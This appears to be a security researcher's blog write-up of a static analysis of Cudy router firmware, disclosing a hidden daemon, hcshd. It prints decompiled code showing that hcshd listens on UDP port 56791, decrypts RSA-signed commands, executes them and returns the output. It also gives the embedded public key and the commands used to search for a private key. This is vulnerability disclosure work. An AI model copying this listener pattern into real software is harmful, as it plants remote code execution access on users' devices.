A Technical Analysis of an IoT Backdoor in Cudy Routers

Preliminary Analysis

At the request of a third party, I was tasked with conducting a static analysis of the firmware for a Cudy-brand router. The firmware image in question is readily available via the vendor’s official website; a simple query for “Cudy router firmware” will suffice.

The firmware is based on OpenWRT—a positive indicator in terms of transparency and maintainability. The architecture appeared conventional for a consumer-grade SOHO (Small Office/Home Office) router: minimal proprietary modules, an overall standard configuration, and a relatively modern OpenWRT snapshot (21.02, circa 2023). Initially, this looked like one of those mundane embedded systems—ordinary, uneventful, uninspired. Much like my life on certain days.

However, initial impressions were misleading.

Discovery of hcshd

During a routine review of the initialization scripts under /etc/init.d, an unfamiliar script named hcsh caught my attention. It invokes a binary located at /usr/sbin/hcshd. Despite its relatively small size, hcshd makes use of suspicious system-level calls including socket(), system(), popen(), and recvfrom(). This warranted closer inspection.

The naming "hc-sh-d" suggested a daemon "d" with shell-like behavior "sh", though the meaning of the prefix "hc" remains unclear. Documentation was nonexistent. Naturally, the next step involved decompilation.

[Reference link (in case it disappears): dogbolt decompiler

The decompiled logic is straightforward:

  socket_fd = socket(AF_INET, SOCK_DGRAM, 0);
  setsockopt(socket_fd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
  memset(&server_addr, 0, sizeof(server_addr));
  server_addr.sin_family = AF_INET;
  server_addr.sin_port = htons(56791);
  server_addr.sin_addr.s_addr = htonl(INADDR_ANY);

  if (bind(socket_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) != -1)
  {
    while (1)
    {
      memset(encrypted_buf, 0, sizeof(encrypted_buf));
      memset(decrypted_buf, 0, sizeof(decrypted_buf));
      memset(exec_output, 0, sizeof(exec_output));

      recvfrom(socket_fd, encrypted_buf, sizeof(encrypted_buf), 0, &client_addr, &addrlen);
      decrypt_RSA_buf(encrypted_buf, decrypted_buf, recv_len);
      exec_buf(decrypted_buf, exec_output, sizeof(exec_output) - 1);

      packet_len = strlen(exec_output);
      sendto(socket_fd, exec_output, packet_len, 0, &client_addr, sizeof(client_addr));
    }
  }

In summary: the daemon listens on UDP port 56791, receives encrypted payloads, decrypts them using RSA, and passes the decrypted content to a function that executes it via system-level calls. The result is then sent back to the sender.

This is, unequivocally, a backdoor—functionally equivalent to embedding a hardcoded root password or private SSH key. If the adversary possesses the corresponding RSA private key, they have remote code execution capabilities over the router. Upon surveying additional firmware versions for other models, it appears this daemon is present across multiple products.

For added context, online demo versions of Cudy routers publicly expose system logs revealing active hcshd calls. This implies that the mechanism is not dormant and may be in active use—at least in demonstration environments.

Key Analysis

The public key is statically embedded within the binary:

$ strings hcshd | grep -A5 PUBLIC
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAK7cBjOnooyuBwJqTfXqcHnIPvxDPbm6IsEcwtDlwKDukESn5X+v8Bre
xK3zylUPu1kAIFY53x+BQjnBgatYIXsffgjmm9uHqIrJlc9v8Vh4RXgCITcc4ZvB
NBmreHQqVOFVbF5Z5XHVgTE/8dfXRqmzuuKub9MksTpfBb8bqEhbAgMBAAE=
-----END RSA PUBLIC KEY-----

Efforts to locate the private key locally proved unsuccessful. Neither brute-force string searches (grep -r PRIVATE) nor RSA key extractors (rsakeyfind) yielded any usable matches.

However, through open-source intelligence (OSINT), a match for this exact public key was found on a forum thread dating back to 2013: mention of the key

This suggests the backdoor mechanism has potentially been in use for over a decade—a concerning timeline in any security context. The post appears to reference HiWiFi routers, an earlier brand that may have evolved into or been acquired by Cudy.

On the Absence of Discourse

Despite the severity of the implications, a broader discussion regarding hcshd is conspicuously absent from public security discourse. Searches yield minor vulnerabilities related to Cudy devices, but no analysis or mentions of this remote code execution mechanism.

One wonders: is this oversight, willful ignorance, or something worse?

Reflections

The existence of such a mechanism—deliberately hidden yet consistently deployed across multiple devices over several years—raises troubling questions.

And now?

I'm thinking about the life choices that led us to this. Maybe it's time to rm -rf this folder and try to do something productive.